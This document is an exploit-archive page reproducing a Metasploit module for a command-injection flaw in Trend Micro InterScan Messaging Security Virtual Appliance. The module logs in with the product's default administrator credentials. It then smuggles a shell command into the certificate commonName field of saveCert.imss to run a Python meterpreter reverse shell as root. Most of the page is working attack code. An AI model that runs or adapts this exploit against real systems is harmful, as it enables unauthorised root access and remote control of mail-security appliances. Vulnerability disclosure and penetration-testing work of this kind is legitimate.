Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Published
Credit
Risk
2017.02.28
Mehmet Ince
High
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the Trend Micro
IMSVA product. An authenticated user can execute a terminal command under
the context of the web server user which is root. Besides, default installation
of IMSVA comes with a default administrator credentials.

saveCert.imss endpoint takes several user inputs and performs blacklisting.
After that it use them as argument of predefined operating system command
without proper sanitation. However,due to improper blacklisting rule it's possible to inject
arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.

This module was tested against IMSVA 9.1-1600.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x2f\x22"
},
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jan 15 2017',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
Opt::RPORT(8445)
]
)
end

def login

user = datastore['USERNAME']
pass = datastore['PASSWORD']

print_status("Attempting to login with #{user}:#{pass}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.imss'),
'vars_post' => {
'userid' => user,
'pwdfake' => Rex::Text::encode_base64(pass)
}
})

if res && res.body.include?("The user name or password you entered is invalid")
fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
end

cookie = res.get_cookies
if res.code == 302 && cookie.include?("JSESSIONID")
jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
print_good("Authenticated as #{user}:#{pass}")
return jsessionid
end

nil
end

def exploit

jsessionid = login

unless jsessionid
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
end

# Somehow java stores last visited url on session like viewstate!
# Visit form before submitting it. Otherwise, it will cause a crash.

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'initCert.imss'),
'cookie' => "JSESSIONID=#{jsessionid}"
})

if !res or !res.body.include?("Transport Layer Security")
fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
end

# Random string that will be used as a cert name, state, email etc.
r = Rex::Text::rand_text_alphanumeric(5)

print_status("Delivering payload...")

# Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!!
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'saveCert.imss'),
'cookie' => "JSESSIONID=#{jsessionid}",
'vars_get' => {
'mode' => 0
},
'vars_post' => {
'certName' => r,
'certType' => 0,
'keyLength' => 2048,
'countryCode' => 'TR',
'state' => r,
'locality' => r,
'org' => r,
'orgUnit' => r,
'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #",
'emailAddress' => "#{r}@mail.com",
'validDays' => '',
'id' => '',
}
})
end

end

References:

https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com